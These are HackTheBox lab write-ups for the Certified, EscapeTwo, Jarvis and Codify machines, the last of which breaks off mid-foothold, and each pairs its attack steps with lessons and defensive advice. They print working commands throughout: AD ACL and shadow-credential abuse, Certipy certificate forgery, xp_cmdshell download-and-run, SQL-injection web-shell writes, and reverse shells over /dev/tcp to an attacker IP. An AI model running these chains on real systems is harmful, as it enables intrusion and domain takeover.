In this box, I did successfully Kerberoast management_svc, but cracking the hash was not necessary. The ACL path I found in BloodHound was the real win condition. That was a good reminder that relationship abuse often beats brute force or offline cracking in modern AD environments.

2. Object control is often equivalent to account compromise.
Once I had rights like WriteOwner, GenericWrite, and GenericAll, the passwords themselves mattered much less. Shadow credentials turned delegated control into practical account takeover very quickly.

3. Assumed-breach boxes still reward disciplined enumeration.
Even though I started with valid credentials, the box still required structure. I checked shares, enumerated users, tested Kerberos attacks, and only then pivoted into graph-based ACL analysis. Skipping that process would have made the path much harder to see.

4. ADCS attacks often depend on small identity details.
The ESC9 portion was not just “request cert, become admin.” The UPN manipulation had to be handled carefully, and restoring the original value was a critical part of getting the mapping to work the way I wanted.

6. Defensive Insight

1. Audit and restrict delegated ACLs on users and groups.
This box fell apart because low-privileged control over one object led cleanly into control over the next. Permissions like WriteOwner, GenericWrite, and GenericAll should be reviewed aggressively, especially when they apply across administrative boundaries.

2. Monitor for shadow credential abuse.
Changes to msDS-KeyCredentialLink are high-value events and should be treated seriously. If defenders are not watching for that attribute being modified, attackers can silently turn object control into account compromise.

3. Harden certificate templates and enrollment rights.
Allowing broadly reachable accounts to enroll in vulnerable templates is dangerous enough on its own. When that is combined with weak template configuration, ADCS becomes a direct privilege escalation platform.

4. Reduce identity-mapping abuse opportunities in ADCS.
Certificate-based authentication becomes much harder to abuse when templates are configured correctly and strong mapping behavior is enforced. Weak or legacy certificate mapping logic gives attackers room to manipulate identities in ways that should not be possible.

Useful Commands

Port scan

rustscan -a 10.129.231.186 -b 4000

Enumerate SMB shares with the provided domain user

nxc smb certified.htb -u judith.mader -p judith09 --shares

Enumerate domain users over SMB

nxc smb certified.htb -u judith.mader -p judith09 --users

Kerberoast service accounts

impacket-GetUserSPNs -request certified.htb/judith.mader -dc-ip 10.129.231.186

Fix clock skew before retrying Kerberos requests

sudo ntpdate certified.htb

Take ownership of the Management group

bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 set owner management judith.mader

Grant Judith full control over the Management group

bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 add genericAll management judith.mader

Add shadow credentials to ca_operator as management_svc

bloodyAD -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 -d certified.htb --host 10.129.231.186 add shadowCredentials ca_operator

Enumerate vulnerable certificate templates

certipy find -u ca_operator -hashes b4b86f45c6018f1b664f70805f45d8f2 -target certified.htb -text -stdout -vulnerable

Temporarily change ca_operator UPN to Administrator

certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'administrator@certified.htb' -user 'ca_operator' update

Request a certificate from the vulnerable template

certipy req -k -dc-ip 10.129.231.186 -target DC01.certified.htb -ca certified-DC01-CA -template CertifiedAuthentication

Restore ca_operator UPN after enrollment

certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'ca_operator@certified.htb' -user 'ca_operator' update

Authenticate with the Administrator PFX and recover the NT hash

certipy auth -pfx administrator.pfx -dc-ip 10.129.231.186 -domain certified.htb

Get a shell as Administrator with Evil-WinRM

evil-winrm -i 10.129.231.186 -u administrator -H 0d5b49608bbce1751f708748f67e2d34

1. Target Overview

Machine Name: EscapeTwo
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.128
Objective: Obtain Domain Administrator access

This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.

The overall attack path ended up being a clean chain:

• SMB → credential exposure

• MSSQL → remote code execution

• Configuration files → credential reuse

• ACL abuse → account takeover

• AD CS → full domain compromise

Tools Used

• Rustscan

• Nmap

• NetExec (nxc)

• smbclient

• xmllint

• BloodHound / RustHound

• BloodyAD

• Certipy

• Evil-WinRM

2. Enumeration

Initial Network Scan

I began with a fast port scan using Rustscan:

rustscan -a 10.129.232.128 -b 6000

From this, I identified several key services:

• 53 → DNS

• 88 → Kerberos

• 135 / 139 / 445 → RPC / SMB

• 389 → LDAP

• 1433 → MSSQL

Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:

• OS command execution (xp_cmdshell)

• Hash theft (xp_dirtree)

I made a mental note to come back to this later if I could obtain credentials.

During LDAP-related output, I also observed the domain FQDN:

DC01.sequel.htb

To ensure proper domain interaction, I added it to my hosts file.

Starting Point (Assumed Breach)

I was given valid credentials:

rose : KxEPkKe6R8su

Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.

Enumerating Domain Users

My first step was to build a list of domain users:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

This revealed several users, including:

• sql_svc

• ryan

• ca_svc

At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.

BloodHound (Initial Pass)

Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.

I checked:

• Group memberships

• Privileges

• Attack paths

At this point, rose did not have any useful privileges or attack paths, so I moved on.

SMB Enumeration

Next, I checked SMB access:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

I saw:

• Users → READ

• Accounting Department → READ

Before diving into SMB, I also checked WinRM:

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

This failed, confirming I could not get a shell directly.

So SMB became my next focus.

Share Enumeration (Targeted Approach)

Rather than manually browsing shares, I used spider_plus to quickly enumerate files:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

After reviewing the output:

• Users → mostly default .lnk files (noise)

• Accounting Department → two Excel files

That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.

Extracting and Analyzing Files

I downloaded both files:

smbclient -U rose //10.129.232.128/'Accounting Department'

Inside smbclient:

get accounting_2024.xlsx
get accounts.xlsx

Since .xlsx files are just ZIP archives, I extracted one:

unzip accounting_2024.xlsx

This gave me a directory structure with XML files.

The key file for content is:

xl/sharedStrings.xml

I formatted it for readability:

xmllint --format xl/sharedStrings.xml

Inside, I found plaintext credentials:

Username: sa Password: MSSQLP@ssw0rd!

3. Exploitation

MSSQL Authentication

I tested the credentials against MSSQL:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

Authentication succeeded.

Now I had direct access to the database server.

Testing Command Execution

Next, I needed to determine whether I could execute system commands.

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

Output:

sequel\sql_svc

This confirmed two critical things:

1. xp_cmdshell is enabled

2. Commands execute as the SQL Server service account (sql_svc)

This is powerful because:

• I now have OS-level execution

• I’m running as a domain account, not just a database user

  

Getting a Reverse Shell

To stabilize access, I executed a PowerShell reverse shell:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"

Listener:

Connection received.

I now had a shell as:

sequel\sql_svc

At this point, exploitation is complete — I have a foothold.

4. Privilege Escalation

Local Enumeration

I started with basic checks:

whoami /all

Nothing useful.

Next, I looked at the root directory:

gci C:\

I noticed something unusual:

SQL2019

Non-standard directories are always worth investigating.

Configuration File Discovery

I navigated into it:

cd C:\SQL2019\ExpressAdv_ENU

Then listed files:

gci

One file stood out:

sql-configuration.ini

I opened it:

type sql-configuration.ini

Inside:

SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3

This was another credential — and likely reusable.

Password Spraying

I tested the password across all users:

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

Results:

• ryan → valid

• sql_svc → valid

Now I had a new user: ryan

Revisiting BloodHound (Critical Step)

At this point, I had new credentials.

That means:

I need to re-check BloodHound.

This is where many people miss paths.

Now I saw:

• ryan → WriteOwner over ca_svc

Understanding WriteOwner

WriteOwner allows me to:

• Change the owner of an object

• Once owner → grant myself full permissions

So this is effectively:

Indirect full control over the account

Taking Over ca_svc

I used BloodyAD:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

Then granted full control:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

Now I fully controlled ca_svc.

Shadow Credentials Attack

Instead of resetting the password (noisy), I used Shadow Credentials:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

This works by:

• Adding a certificate to the account

• Allowing authentication without password

Now I could authenticate as ca_svc.

AD CS Enumeration

I checked for certificate abuse:

certipy find -u ca_svc -hashes <hash> -dc-ip 10.129.232.128

I found:

• Vulnerable template → ESC4

ESC4 Abuse

ESC4 allows modification of certificate templates.

I modified the template:

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

Then requested a certificate as Administrator:

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

This generated:

administrator.pfx

Domain Administrator Access

I authenticated using the certificate:

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

This gave me the Administrator NT hash.

Final step:

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

I now had full Domain Admin access.

5. Lessons Learned

• SMB shares are still one of the easiest ways to leak credentials

• MSSQL is a powerful pivot point when exposed internally

• Configuration files frequently expose reusable credentials

• Password reuse is still extremely common

• BloodHound must be revisited after every privilege change

• WriteOwner is effectively a full takeover primitive

• Shadow Credentials provide stealthy persistence and access

• AD CS misconfigurations are one of the most dangerous escalation paths today

6. Defensive Insight

• Restrict SMB access and audit file exposure

• Never store plaintext credentials in files

• Disable or restrict xp_cmdshell

• Enforce password uniqueness across accounts

• Monitor ACL changes (especially ownership changes)

• Audit AD CS templates regularly

• Monitor certificate enrollment activity

Useful Commands

rustscan -a 10.129.232.128 -b 6000

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

smbclient -U rose //10.129.232.128/'Accounting Department'

unzip accounting_2024.xlsx

xmllint --format xl/sharedStrings.xml

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

rlwrap nc -nlvp 7777

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

• Machine Name: Jarvis

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.229.137

• Objective: Obtain initial access and escalate privileges to root

Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: SQL injection and command injection.

On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.

Tools Used

1. Nmap

Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.

2. FFUF

Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.

3. Browser / Manual Inspection

Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.

4. Burp Suite

Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.

5. SQL Injection Payloads

While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.

6. xxd

Used to hex-encode the PHP payload before writing it to disk through the SQL injection.

1. Netcat

Used as the reverse shell listener for both the initial web shell callback and the final root shell.

GTFOBins

Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.

2. Enumeration Phase

As always, I began with an nmap scan to establish the initial attack surface. The scan revealed three open ports:

• 22/tcp – SSH

• 80/tcp – HTTP

• 64999/tcp – HTTP

At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports 80 and 64999.

To get a quick sense of what each application exposed, I used a combination of manual browsing and directory enumeration with ffuf.

The web service on port 64999 turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on port 80.

The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.

While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named cod.

The URL looked like this:

http://10.129.229.137/room.php?cod=1

That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for SQL injection testing.

To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.

At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the cod parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.

3. Exploitation Phase

Confirming and Working Through the SQL Injection

After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to sqlmap and let it do the heavy lifting. That is usually the sensible move because sqlmap can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned 404 errors rather than useful enumeration results.

Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been blocked for 90 seconds. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.

That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:

“Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”

This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.

Determining the Number of Columns

When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.

To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.

From there, I gradually added columns to the UNION SELECT statement until the page rendered successfully. The working payload was:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--

That told me the backend query used 7 columns.

Once I had that number, I could begin using those positions to retrieve useful information from the database.

Identifying the Database Backend

With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.

To answer that, I replaced one of the visible positions with @@version:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--

The application returned version information indicating that the backend was MySQL/MariaDB.

That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as load_file() and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:

“Can this database access help me get remote code execution on the web server?”

Checking for File Write Privileges

For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the FILE privilege.

To check that, I used the following payload:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--

The query returned:

Y

A result of Y meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.

This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.

Verifying File Read Access and Discovering the Web Root

Before writing anything, I needed to answer another critical question:

“Where exactly do I need to write the file so I can reach it through the browser?”

To solve that, I first tested whether I could read files from the host at all. A good file to test with is /etc/passwd, since it almost always exists on Linux systems and is readable.

I used:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--

The contents were successfully returned, which confirmed that file reads were possible.

Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--

That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:

/var/www/html

Now I had everything I needed for the next stage:

• A confirmed SQL injection

• A MySQL/MariaDB backend

• File read capability

• File write privilege

• The likely web root

That is the exact combination needed to attempt a web shell.

Writing a PHP Web Shell with SQL Injection

With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.

I chose a very simple PHP web shell:

<?php system($_GET['cmd']); ?>

Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.

I generated the hex with:

echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'

Which produced:

3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a

With that prepared, I used SQL syntax to write the file into the web root:

http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--

The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the cmd parameter.

Turning the Web Shell into Remote Code Execution

To verify that the file had been written successfully and that the server was executing it, I browsed to:

http://10.129.229.137/neo.php?cmd=id

The command executed successfully.

That was the moment the attack moved from SQL injection to full remote code execution. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.

From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.

That gave me an initial shell as:

www-data

Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.

At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.

4. Privilege Escalation

Escalating from www-data to pepper

Once I had an interactive shell as www-data, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect sudo permissions, because misconfigured sudo rules often provide a direct path to another user or even to root.

So I ran:

sudo -l

The reason for this check is simple: sudo -l tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.

In this case, the output showed that www-data could run the following Python script as the user pepper with NOPASSWD:

/var/www/Admin-Utilities/simpler.py

That result gave me a clear next objective:

“Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”

When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:

os.system('ping ' + command)

That is the real vulnerability. The danger is not simply that the script runs ping. The danger is that it builds a shell command using unsafely handled user input and then executes that string through os.system(). Once input is evaluated by a shell, all of the shell’s parsing rules come into play.

The script’s author had attempted to block dangerous characters such as &, ;, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.

In this case, the script did not account for command substitution, which uses the syntax:

$(command)

That matters because the shell evaluates the contents of $(...) before finishing the rest of the command. So even if obvious separators like ; are blocked, command substitution may still result in arbitrary execution.

To test that, I ran the script as pepper and supplied:

$(/bin/bash)

The command looked like this:

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

When the script prompted for an IP, I entered:

$(/bin/bash)

This worked because the shell interpreted the substitution before carrying out the intended ping command. As a result, I obtained a shell as:

pepper

That completed the first privilege escalation step. I had moved from the low-privileged web account www-data to a real local user account, which significantly expanded the chances of reaching root.

Escalating from pepper to root

Now that I had a shell as pepper, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate SUID binaries.

SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.

To enumerate SUID binaries, I ran:

find / -type f -perm -4000 2>/dev/null

This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:

/bin/systemctl

That is unusual.

The reason this caught my attention right away is that systemctl is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID systemctl, there is a strong chance they can turn that into arbitrary command execution as root.

At that point, my reasoning became:

“This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”

For that, I referenced GTFOBins, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that systemctl can indeed be leveraged to gain code execution as root when misconfigured this way.

The abuse path was clear: create a malicious service unit whose ExecStart launches a reverse shell, then use systemctl to link and start that service. If the SUID configuration causes systemctl to operate with elevated privileges, the service will run as root.

So I created the following service file in my home directory:

[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.15.205/9001 0>&1"
[Install]
WantedBy=multi-user.target

There are two important ideas here:

1. The ExecStart line is what matters most. That is the command systemd will execute when the service runs.

2. Because the service is being managed through a SUID systemctl, the expectation is that it will be started with root’s privileges.

After creating the service file, I linked and started it with:

systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service

On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:

root

That completed the final privilege escalation step. From initial web access as www-data, I had moved to pepper, and from there to full root compromise through a misconfigured SUID systemctl.

5. Lessons Learned

1. Automation is useful, but it is not understanding

This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point sqlmap at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.

That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.

2. A weak defensive control can still change the attacker’s workflow

The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.

The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.

3. SQL injection should always be evaluated for impact beyond data theft

It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.

That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.

4. Blacklist filtering is a bad habit

The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.

In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.

5. Unusual SUID binaries should always be treated as suspicious

When I enumerated SUID files, systemctl stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.

That kind of misconfiguration is quiet, simple, and devastating.

6. Defensive Insight

1. Parameterized queries would have stopped the initial compromise

The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.

2. Database accounts should follow least privilege

Even after the injection existed, the damage became much worse because the database user had the FILE privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.

3. Temporary blocking is not the same as robust protection

The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.

4. Shelling out with user input is dangerous

The privilege escalation path from www-data to pepper existed because the Python script passed user-controlled input into os.system(). That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.

The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.

5. SUID permissions should be audited carefully

The final escalation to root was only possible because systemctl had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.

Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.

Useful Commands

Directory Enumeration Against the Web Servers

ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt

This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.

Manual SQLi Column Count Test

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--

I used this to determine that the vulnerable query expected 7 columns, which was necessary before moving on to more meaningful UNION SELECT payloads.

Database Version Identification

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--

This confirmed the backend was MySQL/MariaDB, which shaped the rest of the exploitation strategy.

Checking Database File Privileges

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--

This told me whether the database account could write files to disk. A result of Y meant that writing a web shell was possible.

Reading Files Through SQLi

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--

I used load_file() first to confirm file read access and later to validate the correct web root by reading known web assets.

Hex-Encoding the PHP Web Shell

echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'

This converted the PHP payload into a format that was easier to place into the SQL write query.

Writing the PHP Shell to the Web Root

http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--

This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.

Testing Command Execution

http://10.129.229.137/neo.php?cmd=id

This verified that the file had been written correctly and that the web server was executing the PHP shell.

Enumerating SUID Binaries

find / -type f -perm -4000 2>/dev/null

This identified SUID binaries available to pepper and revealed the unusual and highly exploitable systemctl entry.

Linking and Starting the Malicious Service

systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service

These commands caused the malicious service file to be recognized and started, resulting in a root shell.

• Machine Name: Codify

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.15.49

• Objective: Gain user and root access

Codify was a well-rounded machine that started off with a fairly straightforward web application exploit that quickly led to remote code execution. While the initial foothold came easily, the real value of this box came from the privilege escalation phase, which revolved around a subtle but very realistic Bash scripting mistake involving unquoted variables.

Tools Used

• RustScan

• Nmap

• FFUF

• Searchsploit

• Netcat

• John the Ripper

• Pspy

• Python HTTP Server

• Bash

2. Enumeration

Nmap Scan

rustscan -a 10.129.15.49 -b 7000

As always, I started with a port scan to understand the attack surface. The results showed three open ports: SSH on 22, an Apache web server on port 80, and another web service running on port 3000 backed by Node.js Express.

One thing that immediately stood out was a redirect to http://codify.htb. That told me I needed to add the domain to my /etc/hosts file before continuing. From there, I made a conscious decision to focus on the web applications first since they typically provide the largest attack surface, while keeping SSH in mind in case credentials surfaced later.

Web Enumeration

I began by checking for additional subdomains since the application was already using a virtual host.

ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20

This didn’t return anything useful, so I moved on to directory brute forcing:

ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt

While this was running in the background, I manually browsed the application on port 80. The main page presented a Node.js code execution interface where users could input and run JavaScript. That immediately stood out—any system that executes user input, even in a “sandbox,” deserves a closer look.

Clicking into the /about page turned out to be the key step here. It revealed that the application used the vm2 library version 3.9.16 for sandboxing. That was a huge find and shifted my focus toward researching that specific component.

3. Exploitation

Web Application Analysis

With the vm2 version disclosed, I used searchsploit to check for known vulnerabilities:

searchsploit vm2
searchsploit -x 51898.c

I found a sandbox escape affecting the exact version in use. The exploit abused allowed functionality within vm2 to break out of the sandbox and execute system commands.

To verify execution, I tested a simple command:

pwd

The output returned /home/svc, confirming that I had achieved remote code execution.

Foothold

Once I confirmed RCE, I moved to establish a reverse shell. I hosted a payload on my machine:

echo 'bash -i >& /dev/tcp/10.10.15.205/7777 0>&1' > shell.sh
python3 -m http.server 80

Then set up a listener:

nc -nvlp 7777

